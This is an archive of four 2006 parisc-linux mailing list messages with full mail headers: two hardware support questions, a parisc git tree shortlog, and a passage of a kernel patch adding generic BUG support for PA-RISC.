From: Jean-Pierre HOFER <jph@stephenson.dhis.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Missing audio driver with 2.6.17-2 on B180L.
Date: Tue, 5 Dec 2006 03:11:12 +0100 (CET)
Lines: 22
Approved: news@gmane.org
Message-ID: <200612050211.kB52BEgE022612__34930.8871118867$1416624226$gmane$org@stephenson.dhis.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624226 21738 80.91.229.3 (22 Nov 2014 02:43:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Dec 2006 02:11:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 05 Dec 2006 03:11:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 843E27DA2D;
	Mon,  4 Dec 2006 19:11:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19119-09; Mon, 4 Dec 2006 19:11:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B4797DA36;
	Mon,  4 Dec 2006 19:11:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C422C7DA2C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 19:11:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19028-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Dec 2006 19:11:21 -0700 (MST)
Original-Received: from stephenson.dhis.org
	(ALagny-152-1-108-218.w86-218.abo.wanadoo.fr [86.218.62.218])
	by free.linux.hp.com (Postfix) with ESMTP id D57087DA2B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 19:11:20 -0700 (MST)
Original-Received: from stephenson.dhis.org (localhost [IPv6:::1])
	by stephenson.dhis.org (8.12.11/8.12.11) with ESMTP id kB52BGtR023642
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Dec 2006 03:11:17 +0100 (CET)
Original-Received: (from jph@localhost)
	by stephenson.dhis.org (8.12.11/8.12.11) id kB52BEgE022612
	for parisc-linux@lists.parisc-linux.org;
	Tue, 5 Dec 2006 03:11:15 +0100 (CET)
X-Mailer: ELM [version 2.4ME+ PL93 (25)]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: H5MSLwhaaHI+XKWnKSUlSIVqamdhZERQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24128

Hello,


After installing Debian-parisc 2.6.17-2 on a B180L, there is no sound driver.
/dev/dsp is missing.
But the on board audio hardware was detected at boot time :

8. Merlin+ 180 Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x03f, 0x0007b }


What can be wrong and what is the best workaround to get audio working ?


Thanks in advance for all hints.

Jean-Pierre
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James K. Love" <jlove@scires.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP755 IRQ issues
Date: Wed, 6 Dec 2006 16:13:47 -0500
Organization: Scientific Research Corporation
Lines: 26
Approved: news@gmane.org
Message-ID: <20061206211729.B28157D66F__2038.52394265613$1416624227$gmane$org@free.linux.hp.com>
Reply-To: jlove@scires.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624227 21739 80.91.229.3 (22 Nov 2014 02:43:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:47 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Dec 2006 21:17:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 06 Dec 2006 22:17:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 765187D9BD;
	Wed,  6 Dec 2006 14:17:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09120-10; Wed, 6 Dec 2006 14:17:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A16197D9A8;
	Wed,  6 Dec 2006 14:17:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49E077D999
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Dec 2006 14:17:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09120-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Dec 2006 14:17:30 -0700 (MST)
Original-Received: from SRCMAIL.scires.com (mail.scires.com [64.16.131.4])
	by free.linux.hp.com (Postfix) with ESMTP id B28157D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Dec 2006 14:17:29 -0700 (MST)
Original-Received: from srcdell260 (523.chs.spawar.navy.mil [150.125.116.2])
	by SRCMAIL.scires.com with ESMTP; Wed, 06 Dec 2006 16:17:29 -0500
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1807
Thread-Index: AccZe2s/m2tWx/DMR9i5Qy1I6TxYlw==
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GFcfCLQVbHIyX63NNjQ05xcqJihyatCt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24129

All:

Interrupts do not appear to work on my 755.  I have both a 715/50 and
755/99, and I'd like to get a secondary 3Com EtherLink III ISA card working
in an EISA slot.  The 3c509 driver loads fine on both boxes and the card
works just fine on my 715, but pinging on the 755 doesn't generate any
interrupts (at least none visible in /proc/interrupts).  Both boxes have the
same kernel (2.6.12.2) and kernel configuration.  Also, I turned debug on
for the eisa driver and output looks nearly identical on both boxes.  The
only difference appears to be that the EISA driver reports 'SEU4870 ISA
memory' in slot 2 of the EISA bus when its enumerated on the 755, but no
card is actually in slot 2.  Does anyone have any ISA card working on a 755?
Do I need to tweak anything in my config or source to get this to work
correctly?  From browsing the source, it appears that interrupts are now
edge triggered by default for the EISA irqs, right?

Thanks,
James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] What's in parisc.git
Date: Fri, 8 Dec 2006 00:52:16 -0500
Lines: 92
Approved: news@gmane.org
Message-ID: <20061208055216.GD2606__44490.1172574193$1416624227$gmane$org@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624227 21742 80.91.229.3 (22 Nov 2014 02:43:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: akpm@osdl.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Dec 2006 05:52:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 08 Dec 2006 06:52:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E1487D984;
	Thu,  7 Dec 2006 22:52:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26433-07; Thu, 7 Dec 2006 22:52:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 707E97D962;
	Thu,  7 Dec 2006 22:52:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 326587D95B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Dec 2006 22:52:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26433-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Dec 2006 22:52:26 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 91AAF7D959
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Dec 2006 22:52:26 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 053695840B6;
	Fri,  8 Dec 2006 00:52:26 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 3376B5840AF;
	Fri,  8 Dec 2006 00:52:25 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id CBBA0837DB;
	Fri,  8 Dec 2006 00:52:24 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 0B32D3B06E; Fri,  8 Dec 2006 00:52:16 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nspNcfszTiEtQKyUaGRwkIV1ZUVSRBcl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24130

Good news is with David's patch to fix up the workqueue changes,
the most recent Linus -git boots on my C8000. I still want to finish
cleaning up some of the compat signals fallout, but all the really
heavyweight changes have either been dropped or merged.

I'll try to keep better track of changes as they hit our development
git this time around...

	Cheers,
		Kyle M.

Browse the tree at,
http://www.kernel.org/git/?p=linux/kernel/git/kyle/parisc-2.6.git;a=summary

Shortlog for branch 'master':

David Howells (1):
      WorkStruct: Fix up some PA-RISC work items

Grant Grundler (1):
      [PARISC] Remove GCC_VERSION usage as suggested by Adrian Bunk

Helge Deller (4):
      [PARISC] Show more memory information and memory layout at bootup
      [PARISC] avoid compiler warnings when compiling 64bit
      [TRIVIAL] [PARISC] Fix module.c printk message, add missing ')'
      [PARISC] lasi_82596: use BUILD_BUG_ON() and constify static array

Kyle McMartin (5):
      [PARISC] Unbreak discontigmem mem_init()
      [PARISC] Reserve 1GB of space for vmalloc/tmpalias space on parisc64
      [PARISC] bloody printf fmt string warnings
      [PARISC] Remove duplicate PDC_PAT_CELL defines
      [PARISC] Move spinlock_t out of struct cpu_data

Mariusz Kozlowski (1):
      [PARISC] pdcpat remove extra brackets

Matthew Wilcox (6):
      [PARISC] Delete arch/parisc/mm/kmap.c again
      [PARISC] parisc-agp: Fix integer/pointer warning
      [PARISC] sparse fixes
      [PARISC] more sparse fixes
      [PARISC] Fix PCI bus numbering in the presence of Cardbus bridges
      [PARISC] Make Lasi Ethernet depend on GSC only

Ryan Bradetich (9):
      [PARISC] Fix ccio_request_resource when CONFIG_IOMMU_CCIO is not defined
      [PARISC] HPPB bus updates for E-Class systems
      [PARISC] [MUX] Mux driver bug fix
      [PARISC] [MUX] Mux driver updates
      [PARISC] [MUX] Claim resources for the Mux driver
      [PARISC] [MUX] Make the Serial Mux driver work as module
      [PARISC] [MUX] Detect multiple cards in the correct order
      [PARISC] [MUX] Correctly report the number of available ports
      [PARISC] [MUX] Get the hversion directly from the parisc_device

 arch/parisc/Makefile             |    8 +--
 arch/parisc/hpux/fs.c            |   26 +++---
 arch/parisc/hpux/sys_hpux.c      |   32 ++++----
 arch/parisc/kernel/drivers.c     |    8 +-
 arch/parisc/kernel/module.c      |    3 +-
 arch/parisc/kernel/pci-dma.c     |    2 +-
 arch/parisc/kernel/pci.c         |    4 +-
 arch/parisc/kernel/process.c     |    4 +-
 arch/parisc/kernel/smp.c         |   11 ++-
 arch/parisc/mm/init.c            |   64 ++++++++++++++-
 arch/parisc/mm/ioremap.c         |    6 +-
 arch/parisc/mm/kmap.c            |  166 -------------------------------------
 arch/parisc/oprofile/init.c      |    2 +-
 drivers/char/agp/parisc-agp.c    |    2 +-
 drivers/net/Kconfig              |    6 +-
 drivers/net/lasi_82596.c         |   34 ++------
 drivers/parisc/hppb.c            |   14 ++--
 drivers/parisc/iosapic_private.h |    2 +-
 drivers/parisc/lba_pci.c         |   34 +++++---
 drivers/parisc/led.c             |   12 ++--
 drivers/parisc/power.c           |    4 +-
 drivers/parisc/sba_iommu.c       |    2 +-
 drivers/serial/mux.c             |  167 ++++++++++++++++++++++++++++++--------
 include/asm-parisc/dma-mapping.h |    2 +-
 include/asm-parisc/page.h        |    6 +-
 include/asm-parisc/pdcpat.h      |   31 +-------
 include/asm-parisc/processor.h   |    1 -
 27 files changed, 303 insertions(+), 350 deletions(-)
 delete mode 100644 arch/parisc/mm/kmap.c
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Generic BUG for parisc
Date: Sat, 9 Dec 2006 16:28:38 +0100
Lines: 307
Approved: news@gmane.org
Message-ID: <200612091628.38777.deller__31982.6704253957$1416624227$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624227 21745 80.91.229.3 (22 Nov 2014 02:43:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Dec 2006 15:29:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 09 Dec 2006 16:29:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F5F77D96F;
	Sat,  9 Dec 2006 08:29:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19225-07; Sat, 9 Dec 2006 08:29:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 923017D951;
	Sat,  9 Dec 2006 08:29:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC0A57D93F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Dec 2006 08:29:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19182-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Dec 2006 08:28:59 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id ADC707D909
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Dec 2006 08:28:58 -0700 (MST)
Original-Received: (qmail invoked by alias); 09 Dec 2006 15:28:57 -0000
Original-Received: from mnhm-590c03bf.pool.einsundeins.de (EHLO p100.box) [89.12.3.191]
	by mail.gmx.net (mp031) with SMTP; 09 Dec 2006 16:28:57 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fe9CcLIHbmw7XK2HZzdLAPhHUzc4chFm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24131

I found the following patch, which recently went into Linus' 2.6.20-pre kernel very interesting:
http://git.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=7664c5a1da4711bb6383117f51b94c8dc8f3f1cd

as well as the implementations for i386 and x86-64:
http://git.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=91768d6c2bad0d2766a166f13f2f57e197de3458
http://git.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=c31a0bf3e1bc581676618db7492f18798fd0a73f

You might be able to get this into your trees with "git-cherry-pick 7664c5a1da4711bb6383117f51b94c8dc8f3f1cd".

The attached patch implements this for parisc, and my vmlinux (32bit) shows me after using it:
> hppa-linux-objdump -x vmlinux :
Idx Name          Size      VMA       LMA       File off  Algn
 16 __bug_table   000040a4  104a3000  104a3000  003a4000  2**0

So, there were 1379 BUG()'s covered by that change (0x40a4 = 16548, each entry 12 bytes => 1379 BUG calls).

Since I would like to submit this patch to our tree, I would like to get your feedback first:
- Is the "break" instruction the best one for this task ?
- will it affect runtime of the kernel (maybe break statements, although normally not executed, reduce throughput ?)
- should I submit it as soon as our parisc-tree has the necessary bits from mainline ?
- any other ideas ?

One idea I had was to encode the file line number into the instruction itself (in im5 & im13), since the break instruction is implemented as "break im5, im13" and 16bit fit easily in there.
This would save some space, but I would need to add some ifdefs in the generic implementation which I didn't wanted to touch yet.

Helge

------

[PATCH] Generic BUG for parisc

 arch/parisc/Kconfig              |    5 ++
 arch/parisc/kernel/module.c      |    4 +
 arch/parisc/kernel/traps.c       |   79 ++++++++++++++++-----------------------
 arch/parisc/kernel/vmlinux.lds.S |    2
 include/asm-parisc/bug.h         |   38 ++++++++++++++++--
 5 files changed, 76 insertions(+), 52 deletions(-)

    Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index d210123..a946776 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -29,6 +29,11 @@ config GENERIC_FIND_NEXT_BIT
 	bool
 	default y
 
+config GENERIC_BUG
+	bool
+	default y
+	depends on BUG
+
 config GENERIC_HWEIGHT
 	bool
 	default y
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 47ea4e4..1808f85 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -46,6 +46,7 @@
 #include <linux/fs.h>
 #include <linux/string.h>
 #include <linux/kernel.h>
+#include <linux/bug.h>
 
 #include <asm/unwind.h>
 
@@ -851,10 +852,11 @@ int module_finalize(const Elf_Ehdr *hdr,
 	nsyms = newptr - (Elf_Sym *)symhdr->sh_addr;
 	DEBUGP("NEW num_symtab %lu\n", nsyms);
 	symhdr->sh_size = nsyms * sizeof(Elf_Sym);
-	return 0;
+	return module_bug_finalize(hdr, sechdrs, me);
 }
 
 void module_arch_cleanup(struct module *mod)
 {
 	deregister_unwind_table(mod);
+	module_bug_cleanup(mod);
 }
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 65cd6ca..af6df04 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -26,6 +26,7 @@
 #include <linux/interrupt.h>
 #include <linux/console.h>
 #include <linux/kallsyms.h>
+#include <linux/bug.h>
 
 #include <asm/assembly.h>
 #include <asm/system.h>
@@ -49,7 +50,7 @@
 DEFINE_SPINLOCK(pa_dbit_lock);
 #endif
 
-int printbinary(char *buf, unsigned long x, int nbits)
+static int printbinary(char *buf, unsigned long x, int nbits)
 {
 	unsigned long mask = 1UL << (nbits - 1);
 	while (mask != 0) {
@@ -204,6 +205,11 @@ HERE:
 	do_show_stack(&info);
 }
 
+int is_valid_bugaddr(unsigned long iaoq)
+{
+	return 1;
+}
+
 void die_if_kernel(char *str, struct pt_regs *regs, long err)
 {
 	if (user_mode(regs)) {
@@ -222,7 +228,7 @@ void die_if_kernel(char *str, struct pt_
 	oops_in_progress = 1;
 
 	/* Amuse the user in a SPARC fashion */
-	printk(
+	if (err) printk(
 "      _______________________________ \n"
 "     < Your System ate a SPARC! Gah! >\n"
 "      ------------------------------- \n"
@@ -242,8 +248,9 @@ void die_if_kernel(char *str, struct pt_
 	if (!console_drivers)
 		pdc_console_restart();
 	
-	printk(KERN_CRIT "%s (pid %d): %s (code %ld)\n",
-		current->comm, current->pid, str, err);
+	if (err)
+		printk(KERN_CRIT "%s (pid %d): %s (code %ld)\n",
+			current->comm, current->pid, str, err);
 	show_regs(regs);
 
 	if (in_interrupt())
@@ -273,70 +280,50 @@ int syscall_ipi(int (*syscall) (struct p
 
 /* gdb uses break 4,8 */
 #define GDB_BREAK_INSN 0x10004
-void handle_gdb_break(struct pt_regs *regs, int wot)
+static void handle_gdb_break(struct pt_regs *regs, int wot)
 {
 	struct siginfo si;
 
-	si.si_code = wot;
-	si.si_addr = (void __user *) (regs->iaoq[0] & ~3);
 	si.si_signo = SIGTRAP;
 	si.si_errno = 0;
+	si.si_code = wot;
+	si.si_addr = (void __user *) (regs->iaoq[0] & ~3);
